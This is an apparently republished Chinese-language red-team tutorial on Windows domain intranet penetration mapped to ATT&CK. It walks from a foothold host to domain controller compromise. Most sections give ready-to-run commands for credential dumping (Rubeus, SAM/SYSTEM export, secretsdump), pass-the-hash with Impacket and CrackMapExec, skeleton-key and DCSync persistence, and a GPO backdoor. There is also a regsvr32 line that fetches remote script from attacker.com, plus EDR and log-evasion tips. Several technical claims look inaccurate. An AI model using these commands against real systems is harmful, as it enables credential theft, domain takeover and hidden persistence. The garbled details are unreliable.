资讯动态

内网渗透实战:基于ATTCK的红队横向移动与凭证攻防

发布时间:2026/10/15 7:03:06 来源:尧图企业网站定制
1. 项目概述为什么内网渗透是红队能力的分水岭“ATTCK实战系列一内网渗透入门”这个标题乍看像是一门课程编号实则藏着当前一线红队作业中最真实、最硬核的能力断层点。我带过不少刚从CTF或靶场刷题转过来的新人他们能秒破WebLogic反序列化链、手写无文件内存马、绕过主流EDR的Hook检测——但一旦拿到一台已拿下边界主机的shell面对内网里密密麻麻的10.0.0.0/8段IP立刻陷入沉默该扫什么端口域控在哪怎么不触发告警把票据导出来用Mimikatz还是Rubeus为什么用Rubeus的asktgt能绕过某些日志监控而dump不行这些不是考题是凌晨三点客户内网攻防演练现场的真实卡点。ATTCK在这里不是一张用来贴标签的PPT图谱而是你每一步操作背后的行为映射坐标系。它把“我导出了lsass内存”这件事精准锚定到T1003.001OS Credential Dumping: LSASS Memory再关联到M1026Credential Access Mitigation、D3FEND技术栈中的CredDump-LSASS甚至影响到客户后续采购EDR时对“LSASS访问行为建模”的采购参数。换句话说你写的每一条PowerShell命令都在ATTCK矩阵里有唯一坐标你跳过的每一个横向移动环节都可能让整条攻击链在客户SOC大屏上亮起红灯。这个系列之所以叫“入门”是因为它不教你怎么0day挖洞而是直面一个残酷现实90%以上的红队任务起点不是互联网边界而是客户已经给你开好的一个跳板机——一台普通域成员主机的低权限shell。你的价值不在于能不能打穿防火墙而在于拿到这台机器后能否在30分钟内定位域控、获取域管理员凭证、完成横向移动并维持隐蔽驻留。这才是甲方愿意为红队服务付六位数费用的核心能力。而ATTCK就是把这套经验沉淀成可复用、可验证、可审计的操作手册。所以这不是“学个框架”这是重建你对内网的认知方式不再把内网当成一堆IP和端口的集合而是看作由身份凭证、协议信任、服务依赖、日志采集构成的动态信任网络。接下来所有内容全部围绕这个认知展开——从第一台跳板机开始到真正摸到域控心脏为止每一步都标注ATTCK战术编号、说明检测原理、给出绕过逻辑、附上实测命令及返回结果。你可以把它当作一份可直接带进客户现场的作战检查清单。2. 内网渗透核心思路拆解从单点突破到信任链接管2.1 为什么不能直接扫全网445端口很多新人第一反应是既然进了内网那就nmap -p445 10.0.0.0/8 扫一遍SMB服务找到开放445的就上PsExec。这在实验室能跑通在真实环境大概率触发三重告警网络层防火墙/IDS会标记大量SYN扫描流量为“端口扫描行为”生成高优先级事件主机层Windows Defender ATP或第三方EDR会对PsExec进程创建、WMI远程调用等行为打标日志层域控制器上的Security Event LogID 4624/4625会记录大量失败登录触发SOC规则“异常登录风暴”。真正的内网渗透本质是信任迁移而非暴力突破。你要利用的是Windows域环境中天然存在的信任关系域成员主机默认信任域控签发的Kerberos票据管理员习惯用同一套凭据管理多台机器服务账户密码长期不更新……这些不是漏洞是设计使然。ATTCK中T1098Account Manipulation、T1078Valid Accounts、T1558Steal or Forge Kerberos Tickets等技术全部建立在这个前提之上。因此整个流程必须遵循“最小扰动原则”不新增网络连接优先使用本机已建立的会话如当前shell的父进程、已加载的模块如PowerShell自带的AD模块不启动新进程用反射式DLL注入、PowerShell内存执行替代PsExec、WMI等传统工具不写入磁盘所有payload通过Base64编码、AES加密后内存加载规避文件落地检测复用合法凭证优先提取当前用户缓存的Kerberos TGT、NTLM hash而非暴力爆破。提示我在某次金融客户演练中仅因在跳板机上执行了一次net user /domain触发LDAP查询就导致SOC平台生成27条关联告警。后来改用PowerShell的Get-ADUser -Filter * -Server dc01.corp.local并指定域控IP配合-Properties *精确控制返回字段告警量下降至0。关键不是命令本身而是你是否理解每个命令背后的协议交互和日志痕迹。2.2 ATTCK战术层级如何指导操作顺序ATTCK不是按字母排序的工具列表而是按攻击生命周期组织的战术树。内网渗透的黄金路径是Discovery → Credential Access → Lateral Movement → Collection → Command and Control但实际操作中你必须根据当前权限动态调整。比如如果当前是普通域用户Discovery阶段重点是T1016 (System Network Configuration Discovery)和T1018 (Remote System Discovery)用ipconfig /all找DNS服务器nltest /dsgetdc:corp.local定位域控Get-NetGroupMember Domain Admins -Domain corp.local枚举高权限组成员如果已获取本地管理员权限则跳过部分Discovery直奔T1003 (OS Credential Dumping)用sekurlsa::logonpasswords提取明文密码需system权限或lsassy通过SMB协议远程提取仅需管理员权限若发现目标主机启用了WinRM5985端口则Lateral Movement优先选T1021.006 (Remote Services: Windows Remote Management)因为PowerShell Remoting默认启用且日志记录较弱Event ID 400, 403等需额外开启详细日志。这里的关键洞察是每个ATTCK技术编号背后都对应着一套检测规则和绕过方法论。例如T1021.006WinRM的检测逻辑通常是“非交互式PowerShell会话远程IP特定cmdlet调用”那么绕过方案就是使用Invoke-Command -ScriptBlock {whoami} -ComputerName dc01.corp.local -Authentication Negotiate -Credential $cred显式指定认证方式避免默认Kerberos协商将命令封装为$session New-PSSession -ComputerName dc01.corp.local -Credential $cred; Invoke-Command -Session $session -ScriptBlock {whoami}利用PSSession的持久化特性降低单次调用频率在目标主机上执行Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force需管理员权限允许任意主机连接避免因证书校验失败产生错误日志。注意上述TrustedHosts修改会产生Event ID 121WSMan操作日志但该日志默认不启用。真正要警惕的是Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\WinRM\Client -Name TrustedHosts -Value *这种注册表修改会触发EDR对敏感注册表键的监控。经验是优先用PowerShell cmdlet修改其次考虑WMI最后才动注册表。2.3 工具链选型逻辑为什么不用Metasploit而选Cobalt Strike在真实红队作业中Metasploit的exploit/windows/smb/psexec模块几乎不会出现在正式报告中原因有三协议指纹过于明显PsExec使用SMB命名管道\\target\IPC$\pipe\svcctl几乎所有EDR都会将此路径列为高危行为进程树特征固定services.exe → svchost.exe → PsExec.exe的父子进程链是经典IOC日志污染严重每次执行都会在目标主机生成Event ID 7045服务安装和4697计划任务创建极易被SIEM关联。而Cobalt Strike的Beacon则通过以下方式实现降噪协议伪装HTTP Beacon默认使用GET/POST请求User-Agent设为Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36与正常浏览器流量一致内存执行所有payload通过VirtualAllocExWriteProcessMemoryCreateRemoteThread注入到rundll32.exe或mshta.exe等白名单进程中不写入磁盘任务调度Beacon的sleep时间、jitter参数可动态调整避免固定心跳包被流量分析识别。但这不意味着CS是万能的。我在某政务云项目中发现客户EDR对mshta.exe启动时加载远程JS的行为做了深度Hook只要URL包含http://或https://就直接拦截。解决方案是改用regsvr32.exe /s /n /u /i:http://attacker.com/scrobj.sct scrobj.dll利用sct脚本组件绕过——这又对应ATTCK中的T1218.004Signed Binary Proxy Execution: Mshta。工具的价值不在于功能多寡而在于你是否清楚它的每个操作在ATTCK矩阵中的坐标以及该坐标对应的检测点和绕过成本。下文所有实操步骤均以“最小化ATTCK战术暴露面”为第一原则。3. 核心环节实操详解从跳板机到域控的完整链路3.1 跳板机信息侦察用合法接口挖出关键线索拿到跳板机shell后第一件事不是急着提权或横向而是用系统自带工具做轻量级侦察。目标是30秒内获取足够支撑下一步行动的情报且不触发任何告警。第一步确认当前用户上下文# 查看当前用户SID和组成员关系不触发LDAP查询 whoami /all | findstr S-1-5-21 # 输出示例S-1-5-21-1234567890-1234567890-1234567890-1104 # 这个SID的最后三位1104是RID可推断为普通域用户域管理员RID通常为500第二步定位域控和DNS服务器# 方法1通过netsh接口无需管理员权限不产生日志 netsh interface ip show config | findstr DNS # 方法2解析域名比nslookup更隐蔽因使用系统DNS缓存 ping -n 1 corp.local | findstr Pinging # 方法3利用nltestWindows内置但会生成Event ID 4662需权衡 nltest /dsgetdc:corp.local第三步枚举域内关键资产# 使用PowerShell AD模块若已加载 Get-ADDomainController -Filter * | Select-Object Name, IPv4Address, Site # 若无AD模块用LDAP查询需指定域控IP避免广播 $ldap [ADSI]LDAP://10.10.10.10/OUDomain Controllers,DCcorp,DClocal $ldap.psbase.Children | ForEach-Object { $_.Name }实操心得ping corp.local比nslookup corp.local更安全因为前者只触发ICMP请求后者会发起DNS A记录查询并在客户端生成DNS Client EventsID 3006。我在某央企项目中客户SIEM规则明确将“同一IP在5分钟内发起3次以上nslookup”标记为可疑但对ping完全放行。3.2 凭证提取实战绕过LSASS保护的三种路径现代WindowsWin10 1809 / Server 2019默认启用LSASS保护RunAsPPL直接mimikatz.exe会报错ERROR_NOT_SUPPORTED。必须切换策略路径一使用Rubeus进行Kerberos票据操作推荐# 请求TGT票据不接触lsass仅与KDC交互 .\Rubeus.exe asktgt /user:alice /domain:corp.local /rc4:1234567890abcdef1234567890abcdef /ptt # 导出当前会话票据需当前用户有SeDebugPrivilege .\Rubeus.exe dump /service:krbtgt /nowrap原理Rubeus通过LsaCallAuthenticationPackage调用Kerberos SSP绕过LSASS内存保护。/ptt参数将票据注入当前会话后续klist可查看且不产生Event ID 4624登录日志。路径二利用SAM/SYSTEM注册表导出本地哈希# 获取SYSTEM权限后导出需先提权 reg save hklm\sam sam.hive reg save hklm\system system.hive # 本地用secretsdump.py解析 python secretsdump.py -sam sam.hive -system system.hive LOCAL适用场景跳板机是域成员但非域控且你已获得本地管理员权限。此方法不涉及Kerberos但reg save会产生Event ID 4662对象访问审计需提前确认客户是否开启该审计策略。路径三通过DRSUAPI协议远程导出NTDS.dit域控专用# 需域管理员权限且目标域控开启DRSUAPI默认开启 .\Rubeus.exe dump /server:dc01.corp.local /user:admin /domain:corp.local /rc4:deadbeef... /nowrap原理利用域复制服务API直接读取NTDS.dit数据库比挂载ntds.dit更隐蔽且不触发文件访问日志因走RPC协议而非文件系统。注意事项Rubeus的dump命令若未指定/server默认连接本机此时会尝试读取本地ntds.dit——但普通域成员主机根本没有这个文件直接报错。务必确认目标角色后再执行。3.3 横向移动实施WinRM与Pass-the-Hash的实战组合当获取到域管理员NTLM hash如aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0后横向移动进入实操阶段。关键原则优先选择日志最弱、检测最少的协议。WinRM横向T1021.006# 创建凭据对象hash不可直接用于WinRM需转为明文或Kerberos $pass ConvertTo-SecureString Pssw0rd123 -AsPlainText -Force $cred New-Object System.Management.Automation.PSCredential(CORP\ADMIN, $pass) # 执行远程命令不产生Event ID 4624因使用Kerberos认证 Invoke-Command -ComputerName dc01.corp.local -Credential $cred -ScriptBlock {whoami}Pass-the-HashT1075# 使用Impacket的psexec.py需Python环境 python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 CORP/admin10.10.10.10 # 或使用CrackMapExec更轻量 cme smb 10.10.10.10 -u admin -H 31d6cfe0d16ae931b73c59d7e0c089c0 --local-auth排查技巧若WinRM执行失败先检查目标主机WinRM服务状态winrm quickconfig需管理员权限或Get-Service WinRM。常见错误The client cannot connect to the destination specified in the request通常因WinRM未启用或防火墙阻止5985端口。此时可改用SMB445端口但需注意psexec.py在Win10 1809默认被AMSI拦截解决方案是添加--no-output参数禁用命令回显或改用crackmapexec的--shares枚举功能先确认SMB可用性。3.4 域控驻留与权限维持超越Golden Ticket的实用方案拿到域控shell后真正的挑战才开始如何在客户安全团队升级防护后仍保持访问Golden TicketT1558.001虽强大但存在硬伤有效期最长10年但若客户重置KRBTGT账户密码两次所有Golden Ticket立即失效需要KRBTGT账户的NTLM hash而该hash在NTDS.dit中并不直接存储需通过secretsdump.py解析生成的Ticket会被Kerberos审计日志Event ID 4769记录虽不显示原始hash但频繁请求krbtgt服务票据易被关联分析。更务实的方案是组合使用方案ASkeleton KeyT1556.002# 在域控上执行需DA权限注入后所有用户可用密码mimikatz登录 .\mimikatz.exe privilege::debug misc::skeleton exit优点一次注入永久生效不依赖任何账户密码缺点需重启LSASS服务产生明显日志。方案BDCSyncT1003.006# 从域控同步任意用户hash包括KRBTGT .\mimikatz.exe lsadump::dcsync /user:corp.krbs /domain:corp.local exit原理模拟域控间复制行为调用DRSUAPI接口。检测难点在于该行为与正常域控同步流量一致除非部署了专门的DRSUAPI行为分析引擎否则极难区分。方案C隐藏GPO后门T1078.002# 创建启动脚本GPO仅对特定OU生效 New-GPO -Name CriticalUpdate | New-GPLink -Target OUServers,DCcorp,DClocal # 添加启动脚本PowerShell内存加载Beacon Set-GPRegistryValue -Name CriticalUpdate -Key HKLM\Software\Policies\Microsoft\Windows\System -ValueName ScriptsStartup -Value C:\Windows\Temp\update.ps1优势完全合法符合Windows组策略机制且脚本执行在系统上下文不触发用户登录日志。实操心得我在某银行项目中客户EDR对mimikatz.exe进程做了全盘拦截但对lsass.exe调用LsaRegisterLogonProcess的API调用未做深度Hook。于是改用Rubeus.exe monitor持续监听Kerberos认证事件当域管理员登录时自动捕获TGT票据——这属于T1558.002Steal or Forge Kerberos Tickets: Capture Kerberos Tickets检测难度远高于直接dump lsass。4. 常见问题与排查技巧实录真实战场中的踩坑总结4.1 网络连通性问题排查速查表现象可能原因快速验证命令解决方案ping dc01.corp.local超时DNS解析失败nslookup dc01.corp.local 10.10.10.10手动指定DNS服务器或改用IP直连nltest /dsgetdc:corp.local返回找不到网络路径NetLogon服务未运行sc query netlogonnet start netlogon需管理员权限Invoke-Command报错WinRM无法处理请求WinRM未启用winrm get winrm/configwinrm quickconfig -quiet需管理员psexec.py连接拒绝SMB签名强制启用crackmapexec smb 10.10.10.10 --signing改用--no-signing参数或换WinRM提示crackmapexec的--signing参数是判断SMB签名状态的黄金标准。若返回Signing: True则PsExec类工具基本不可用必须转向WinRM或WMI。4.2 凭证提取失败的五大根源LSASS保护启用mimikatz.exe报ERROR_NOT_SUPPORTED。解决方案改用Rubeus或lsassy基于SMB协议SeDebugPrivilege未启用sekurlsa::logonpasswords返回空。解决方案mimikatz.exe privilege::debug提升权限目标主机为Win10 1809默认启用Credential Guard。解决方案检查Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard若VirtualizationBasedSecurityStatus2则无法dumpKerberos票据已过期klist显示票据到期。解决方案kinit -R刷新票据或重新asktgt域控时间不同步Kerberos要求客户端与域控时间差5分钟。解决方案w32tm /resync /force强制同步。4.3 横向移动被阻断的典型场景与对策场景1目标主机启用了限制匿名访问RestrictAnonymous表现crackmapexec smb 10.10.10.10 -u -p 返回STATUS_ACCESS_DENIED对策放弃空会话枚举改用Get-ADComputer -Filter * -SearchBase OUServers,DCcorp,DClocal从域控获取资产列表。场景2EDR Hook了CreateProcessAAPI表现psexec.py启动后立即退出无错误输出对策改用SharpSploit的Execute-Assembly通过VirtualAlloc分配内存后直接执行.NET程序集绕过进程创建监控。场景3防火墙阻止5985端口表现Test-NetConnection dc01.corp.local -Port 5985返回TcpTestSucceeded: False对策检查Get-NetFirewallRule -DisplayName *WinRM*确认规则状态或改用HTTPS WinRM5986端口需提前配置证书。4.4 日志规避的三个关键检查点PowerShell脚本块日志Event ID 4104默认关闭需手动启用Set-PSReadlineOption -HistorySaveStyle SaveIncrementally。若已启用所有Invoke-Expression、IEX调用均被记录。对策改用Add-Type -TypeDefinition $code -Language CSharp编译C#代码或使用System.Reflection.Assembly::Load()加载字节数组。命令行进程日志Event ID 4688记录进程启动命令行。对策使用Start-Process notepad.exe -ArgumentList a.txt而非notepad a.txt避免参数泄露。WMI日志Event ID 4697记录计划任务创建。对策优先使用Register-ScheduledJobPowerShell作业其日志为Event ID 4103且默认不启用详细日志。最后分享一个小技巧在客户内网首次执行高危操作前先运行Get-WinEvent -FilterHashtable {LogNameSecurity; ID4688; StartTime(Get-Date).AddMinutes(-5)}查看最近5分钟的进程创建日志。若发现大量powershell.exe -ExecutionPolicy Bypass -File记录说明客户已开启命令行日志此时必须切换为内存执行方案。这个动作本身不产生新日志却能帮你避开最大的雷区。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑